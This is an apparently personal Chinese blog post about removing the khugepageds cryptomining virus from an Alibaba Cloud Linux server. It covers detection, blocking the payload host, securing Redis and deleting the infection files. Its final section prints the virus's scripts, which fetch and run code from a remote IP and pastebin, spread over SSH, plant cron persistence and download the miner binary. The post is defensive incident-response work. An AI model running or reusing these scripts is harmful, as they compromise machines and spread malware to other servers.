【原创】Linux 挖矿病毒 khugepageds的处理
一、发现问题流程:
1、阿里云邮件报警,报警内容:
您的云服务器(服务器IP)由于被检测到对外攻击,已阻断该服务器对其它服务器端口(TCP:22)的访问,阻断预计将在2019-04-04 20:49:33时间内结束,请及时进行安全自查。若有疑问,请工单或电话联系阿里云售后,感谢您对阿里云的支持。【多个端口被封】
2、向阿里云提工单,询问具体原因:
反馈结果:您好,根据您反馈的这些信息来看,应该就是被植入了异常病毒,导致异常对外发包,所以导致您的端口被阻断。于是自己进一步排查问题:
(1)检查定时任务:crontab -l 发现被写入了异常代码,自己之前的定时任务消失不见了,而且定时任务crontab -e 还没办法修改,修改完保存之后马上又恢复成之前的了,此时还没定位到具体是什么病毒。
(2)检查ECS云监控平台,发现最近几天CPU经常爆满,但是你在Linux服务器上却没有发现任何消耗CPU的进程,然后查看相关的进行,发现有一个进程暂用CPU特别多,基本维持在90%以上,然后就根据进程的名字【khugepageds】,从网上查找了一下,原来是挖矿病毒,最近比特币火了,病毒又开始活跃起来了。
3、向阿里云求助:
自己没处理过病毒呀,于是向阿里云请求协助,反馈结果:您好,由于查杀病毒木马操作是超出这边服务范围的,这边无法给您查杀的。如果您那边无法自行排查处理的话,您可以到云市场搜索相关第三方运维服务商协助您解决请您了解,谢谢!
(1)云市场入口: https://market.aliyun.com/jianzhan?spm=5176.730006-53366009-57742013-cmjj027778/B.401001.2.30cb38ee22OjAJ 或者您可以购买阿里云的应急响应服务,有专门的安全专家为您进行病毒查杀,以及安全排查部署,您参考链接入口了解下,谢谢!
(2)安全应急响应服务: https://help.aliyun.com/document_detail/53549.html?spm=5176.11065259.1996646101.searchclickresult.1d636c6aLFVCx6
4、最终结果:
点了点链接,费用挺高的,买了你们的服务器,中了病毒还不给处理,哎,心塞,于是自己上完查找资料进行处理。
如果自己懒得处理的话,可以购买相应的服务,价格还可以,198元,专门处理这些东西:《木马病毒清除/挖矿病毒清除/网页篡改修复/主机漏洞修复/安全基线检查》
其他处理方式,阿里云那边的官方文档:《 ECS Linux 系统 CPU 异常占用:minerd 、tplink 等挖矿进程 》
二、处理流程:
1、确定请求地址:确定具体的请求链接地址,让从服务器出去的请求访问失效:
// crontab -l
*/15 * * * * (curl -fsSL https://pastebin.com/raw/v5XC0BJh||wget -q -O- https://pastebin.com/raw/v5XC0BJh)|sh
// 将域名指配到本地IP,即127.0.0.1,使其脚本执行请求不到数据,慢慢的你的CPU就会降下来【/etc/hosts】
127.0.0.1 pastebin.com
2、安全加固:
我的阿里云服务器怀疑是从Redis攻击进来【Redis没有密码】,所以给Redis加上密码,并将Redis的IP绑定到本机的127.0.0.1上【从redis.conf上修改即可,百度怎么修改就行了】。
3、删除病毒文件:
(1)核心的两个病毒文件
rm -f /etc/ld.so.preload // 这个是隐藏的,你看不到,直接vim编辑查看,如果有内容,说明存在这个文件,如果没有内容,最好再删除一遍【我的里面是/usr/local/lib/libpamcd.so,不管是什么文件,接下来删除就对了】
rm -f /usr/local/lib/libpamcd.so
(2)其他病毒文件
rm -f /etc/cron.d/tomcat
rm -f /etc/cron.d/root
rm -f /var/spool/cron/
rm -f /tmp/ld.so.preload*
4、 最后开始清理进程:
由于病毒入侵,你的基本上所有的Linux命令都被劫持了【系统的ls等命令已被通过so库的preload机制被病毒劫持,ls会导致/etc/cron.d/root文件被刷写为病毒定时执行命令】,所以,你使用命令查不出来,或者查出来了也删不掉,此时需要安装busybox,此busybox为静态编译版, 不依赖so库,额,这个装起来比较麻烦,具体的安装方法见链接就行了,下面的几篇文章你应该用得着
(1)Linux 挖矿病毒 khugepageds
http://www.luojie1987.com/index.php/post/199.html
(2)记服务器中招挖矿病毒排查过程(解决方案篇)
https://www.jianshu.com/p/bfc073403a93
(3)busybox的编译、使用及安装
https://www.cnblogs.com/baiduboy/p/6228003.html
https://www.cnblogs.com/lcw/p/3159388.html
(4)linux 编译busybox遇到的问题处理办法
https://blog.csdn.net/u013216061/article/details/79256123
三、重启服务器:
处理完以上的工作之后,重启服务器,这个时候一切就恢复正常了!
四、病毒脚本展示:
1、ssh.sh
#设置环境变量,shell会依次在这些路径里找对应的可执行文件并交给系统核心执行export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin#SSH登录的时候,会将一些公钥信息保存到known_hosts 和id_rsa.pub里面,如果存在的话,则从里面获取信息,并SSH登录(oBatchMode),设置响应超时5秒钟(oConnectTimeout),避免使用域名链接服务器(oStrictHostKeyChecking=no),然后访问脚本地址:http://119.9.106.27:8000/i.sh,结束。if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; thenfor h in $(grep -oE “\b([0-9]{1,3}\.){3}[0-9]{1,3}\b” /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h ‘curl -fsSL http://119.9.106.27:8000/i.sh|sh‘ & donefi#把 A 机器下的 /root/.ssh/id_rsa.pub 添加到 B 机器下的 /root/.ssh/authorized_keys (文件属性600)文件中,那么从 A 到 B 就可以无密码 ssh 登陆了,所以,中了病毒的文件,你还可以在你的/root/.ssh/中看到authorized_keys 文件。内容如下:#ssh-rsa ANzaC1yc2EAAQDfxLBb/eKbi0TVVLVt3v/eF1B/VkHhfqkl82Al++VQc36mf/XFnECJZB429/w/Ao+KlASl/qzitaQIeYo+Xjx+70C3oayunL/hG1NhGxEdfZA5QW2Q876JL8cjQyN/kGTiOZzqbV6FLty/vdfh8n9jR root@localhost
2、i.sh
# 设置环境变量export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin# 将脚本添加计划任务中echo “*/15 * * * * (curl -fsSL http://119.9.106.27:8000/i.sh||wget -q -O- http://119.9.106.27:8000/i.sh) | sh” | crontab –#将内容添加到对应的文件中echo “” > /var/spool/cron/root
echo “*/15 * * * * curl -fsSL http://119.9.106.27:8000/i.sh | sh” >> /var/spool/cron/root
echo “*/15 * * * * wget -q -O- http://119.9.106.27:8000/i.sh | sh” >> /var/spool/cron/rootmkdir -p /var/spool/cron/crontabs
echo “” > /var/spool/cron/crontabs/root
echo “*/15 * * * * curl -fsSL http://119.9.106.27:8000/i.sh | sh” >> /var/spool/cron/crontabs/root
echo “*/15 * * * * wget -q -O- http://119.9.106.27:8000/i.sh | sh” >> /var/spool/cron/crontabs/root# 创建文件,然后删除,不知道干啥用的cd /tmp
touch /usr/local/bin/writeable && cd /usr/local/bin/
touch /usr/libexec/writeable && cd /usr/libexec/
touch /usr/bin/writeable && cd /usr/bin/
rm -rf /usr/local/bin/writeable /usr/libexec/writeable /usr/bin/writeable# 创建可执行文件export PATH=$PATH:$(pwd)
ps auxf | grep -v grep | grep mndzbce || rm -rf mndzbce
if [ ! -f “mndzbce” ]; then
wget -q http://119.9.106.27:8000/static/3022/ddgs.$(uname -m) -O mndzbce
curl -fsSL http://119.9.106.27:8000/static/3022/ddgs.$(uname -m) -o mndzbce
fichmod +x mndzbce
$(pwd)/mndzbce || /usr/bin/mndzbce || /usr/libexec/mndzbce || /usr/local/bin/mndzbce || mndzbce || ./mndzbce || /tmp/mndzbceps auxf | grep -v grep | grep mndzbcb | awk ‘{print $2}’ | xargs kill -9
ps auxf | grep -v grep | grep mndzbcc | awk ‘{print $2}’ | xargs kill -9
ps auxf | grep -v grep | grep mndzbcd | awk ‘{print $2}’ | xargs kill -9